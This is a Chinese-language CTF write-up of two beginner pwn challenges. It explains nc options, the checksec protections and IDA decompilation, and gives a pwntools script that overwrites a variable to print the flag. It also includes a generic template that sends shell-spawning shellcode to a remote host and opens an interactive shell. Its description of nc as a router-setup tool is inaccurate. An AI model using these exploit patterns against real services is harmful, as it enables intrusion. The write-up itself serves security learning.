1、get_shell
Linux的nc命令,用于设置路由器
参数及作用:
- -g<网关> 设置路由器跃程通信网关,最多可设置8个。
- -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
- -h 在线帮助。
- -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
- -l 使用监听模式,管控传入的资料。
- -n 直接使用IP地址,而不通过域名服务器。
- -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
- -p<通信端口> 设置本地主机使用的通信端口。
- -r 乱数指定本地与远端主机的通信端口。
- -s<来源位址> 设置本地主机送出数据包的IP地址。
- -u 使用UDP传输协议。
- -v 显示指令执行过程。
- -w<超时秒数> 设置等待连线的时间。
- -z 使用0输入/输出模式,只在扫描通信端口时使用。
nc IP地址 端口号
ls展开
直接看到flag
使用cat命令获取
加一个-nv看着更清楚
此题并没有用到给的附件
2、hello_pwn
进去发现无论执行什么都是直接退出了
下载附件,拖进kali检查一下保护机制
checksec的用法:
checksec --file=文件绝对路径
发现只启用了 NX(No eXecute,数据不可执行)保护机制,其基本原理是将数据所在内存页标识为不可执行。
Linux中cookie信息称为canary,canary栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行,攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。
将下载附件在IDA pro 中打开,先找到主函即main函数
按F5进行反编译
发现当 dword_60106C == 1853186401 时,程序就会执行 sub_400686()函数
查看sub_400686()函数
发现如果调用sub_400686函数就会cat flag,这里只需将将dword_60106C的值覆盖为 1853186401就能拿到flag。
进入unk_601068和dword_60106c查看两者相距四个字节
编写exp脚本:
#!/usr/bin/env python # coding=utf-8 from pwn import * r = remote('IP地址',端口号) a = r.recvuntil('f\n') print(a) r.send('AAAAaaun') flag = r.recvuntil('\n') print(flag)
权限不够的话我们使用chmod命令处理
使用 ./ 或者python 都可以执行
执行成功后即可看到flag
使用pythonpwntools是一个ctf框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者简单快速的编写exploit。
使用 from pwn import * 将所有的模块导入到当前namespace,并把os,sys等常用的系统库导入。
exp脚本大致框架:
from pwn import *
context(arch = 'i386', os = 'linux') // 导入pwntools模块
r = remote('exploitme.example.com', 31337) // 设置目标机的信息
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive() // 将控制权交给用户就可以使用打开的shell了
context环境功能设置:
context(os='linux', arch='amd64', log_level='debug')
os将系统设置为linux;
arch将架构设置为amd64,32位模式是'i386';
log_level将日志输出的等级设置为debug,避免一些IO错误。